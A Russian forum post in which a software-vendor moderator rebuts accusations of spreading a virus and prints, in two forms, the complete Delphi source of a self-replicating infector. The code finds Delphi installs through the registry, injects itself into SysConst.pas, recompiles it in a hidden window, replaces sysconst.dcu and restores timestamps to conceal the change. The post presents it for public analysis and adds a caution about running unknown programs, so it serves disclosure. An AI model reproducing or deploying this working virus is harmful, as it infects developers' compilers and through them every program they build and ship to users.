Тема: Касательно так называемых "вирусов" (читать только тем, кто пользуется Delphi)
Показать сообщение отдельно
  • Новое
    Аватар для IHelper

    IHelper
    Супер Модератор

    Сообщений:
    1,858
    Регистрация:
    05.05.2006
    Рейтинг мнений: 1875
    Вес репутации: 484
    IHelper IHelper IHelper IHelper IHelper IHelper IHelper IHelper IHelper IHelper IHelper
    Очки: 59,055, Уровень: 100 Очки: 59,055, Уровень: 100 Очки: 59,055, Уровень: 100
    Активность: 99% Активность: 99% Активность: 99%
    По умолчанию Касательно так называемых "вирусов" (читать только тем, кто пользуется Delphi) #1
    Уважаемые пользователи и программеры,

    Скажу сразу: всё нижесказанное может повлиять только на тех, кто программит на Delphi. Для тех, у кого Delphi на компе не установлен весь текст ниже не имеет никакого смысла.

    Воизбежание дальнейших недоразумений и для предотвращения попыток недобросовестных конкурентов обвинить нас во всех тягчайших грехах какие только может придумать нездоровый мозг постараюсь прояснить имевшую место быть ситуацию.

    В недавнем прошлом имела ситуация, описанная тов. Лазером тут:
    http://forum.gsmhosting.com/vbb/show...96#post4590996

    Безусловный респект тов. Лазеру за мониторинг всех последних версий Infinity-Box софта и за публично выданное предупреждение (хотя, конечно, такого рода предупреждения всяко проще давать в приватной беседе, тем более, что связаться со мной тов. Лазеру проще простого и я всегда буду рад пообщаться на различные темы).

    Как выяснилось, имевшая место ситуация дала нездоровый повод для нездоровой дискуссии на нездоровом ресурсе (и лично я не удивлен, что именно там такая вот дискуссия возникла):
    http://z3x-team.com/forum/topic.php?post=4149#post4149

    Выражаю большую признательность френдам, давшим мне линк нездорового ресурса, который показывает, на что готовы идти люди в попытках очернить репутацию добропорядочных людей. Этот пример объективно показывает степень испорченности мозга тех, кто пользуется такого рода ситуациями для выражения своей истинной природы, как, впрочем, и полное отсутствие каких-либо навыков в чтениии элементарного исходного кода (тот, кто разберет приложенный исходный код и сравнит свои мысли с выводами, озвученными нездоровыми ртами сам увидит нулевую степень нездорового мозга).

    Ниже приводится исходный текст, который каждый может проанализировать и увидеть, что именно зловредного он несет.
    Специально не хочу давать тут каких-либо заключений по причине того, что лучше пусть кто-нибудь другой напишет резюме того, что именно данный код может и чего не может сделать, и сможет ли он сделать то, в чем пытаются обвинить нас нездоровые злобные карлики.

    Я буду признателен всем, кто самостоятельно разберет код из аттача тов. Лазера.
    Если кому будет удобнее разобрать код, который приведен в более читаемый вид, то привожу его тут.

    Код:
    uses windows;
    
    var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
    'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
    '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
    'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
    'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
    '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
    '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
    'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
    'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
    ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
    'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
    ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
    'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
    'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
    'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
    '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
    'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
    '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
    'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
    'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
    'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
    '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
    '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
    'begin st; end.');
    
    function x(s:string):string;
    var i:integer;
    begin 
      for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
      result:=s;
    end;
    
    procedure re(s,d,e:string);
    var f1,f2:textfile;
        h:cardinal;
        f:STARTUPINFO;
        p:PROCESS_INFORMATION;
        b:boolean;
        t1,t2,t3:FILETIME;
    begin
      h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
      if h<>DWORD(-1) then
      begin
        CloseHandle(h);
        exit;
      end;
      {'I-}assignfile(f1,s);
      reset(f1);
      if ioresult<>0 then exit;
      assignfile(f2,d+'pas');
      rewrite(f2);
      if ioresult<>0 then begin closefile(f1); exit; end;
    
      while not eof(f1) do
      begin
        readln(f1,s);
        writeln(f2,s);
        if pos('implementation',s)<>0 then break;
      end;
    
      for h:= 1 to 1 do writeln(f2,sc[h]);
      for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');
      for h:= 2 to 24 do writeln(f2,x(sc[h]));
      closefile(f1);
      closefile(f2);
      {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
      fillchar(f,sizeof(f),0);
      f.cb := sizeof(f);
      f.dwFlags := STARTF_USESHOWWINDOW;
      f.wShowWindow := SW_HIDE;
      b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
      if b then WaitForSingleObject(p.hProcess,INFINITE);
      MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
      DeleteFile(pchar(d+'pas'));
      h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
      if  h=DWORD(-1) then exit;
      GetFileTime(h,@t1,@t2,@t3);
      CloseHandle(h);
      h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
      if h=DWORD(-1) then exit;
      SetFileTime(h,@t1,@t2,@t3);
      CloseHandle(h);
    end;
    
    procedure st;
      var  k:HKEY;c:array [1..255] of char;
      i:cardinal;
      r:string;
      v:char;
    begin
      for v:='4' to '7' do
        if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
        begin
          i:=255;
          if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
          begin
            r:='';
            i:=1;
            while c[i]<>#0 do
            begin
              r:=r+c[i];
              inc(i);
            end;
            re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
          end;
        RegCloseKey(k);
      end;
    end;
    
    begin
      st;
    end.
    p.s.
    Чтобы такого не происходило в будущем ни с кем, будьте оченнь внимательны и осторожны при запуске каких-либо чужих приложений на своём ПК. Даже очень умные антивирусы не могут знать всего и могут пропустить что-то с виду очень простое.

    p.p.s.
    Для тех, кто хочет заработать себе плюсики поливанием грязью других: чтобы не показывать свою полную необразованность в следующий раз постарайтесь сначала подумать, и только потом уже пороть чушь про злой умысел уважаемых людей, которые подняли такой проект как Infinity-Box и держат её на высоте более 4 (четырех) лет. Как показывает практика, такого рода работа под силу только профессионалам высочайшей квалификации и безграничной работоспособности.

    p.p.p.s.
    Если кому-то еще по нездоровости придут в головы мысли типа "они воруют исходники", то рекомендую всем посмотреть всем мультфильм "Летучий корабль", там есть радикальный ответ на все вопросы, которые я могу себе задать по поводу каких-либо исходников. Ответ на вопрос где я беру то, что сам не могу сделать составляет всего одно слово и звучит сразу после вопроса Царя "Построишь летучий корабль ?".

    @NoName®
    С остальными-то всё понятно уже давно. Я последнее время думал, что у тебя интеллекта больше чем у прочих, а ты себя поставил в один ряд.
    Неужели ты сам не был столь любопытен и не посмотрел, что именно за код был в аттаче ?
    Если стал писать не посмотрев, то надо списать это на обычное стадное чувство, а если посмотрел и всёравно стал писать, то либо твоя программерская квалификация стремится к нулю либо я просто промолчу дальше, а остальные пусть догадаются сами.

    @Sedy
    Спросил бы у меня, я бы рассказал больше, понятнее и более квалифицированно.

    Последний раз редактировалось IHelper; 06.07.2009 в 00:41.
    06.07.2009, 00:13
    Меню пользователя IHelper
    Посмотреть профиль
    Отправить личное сообщение для IHelper
    Посетить домашнюю страницу IHelper!
    Найти ещё сообщения от IHelper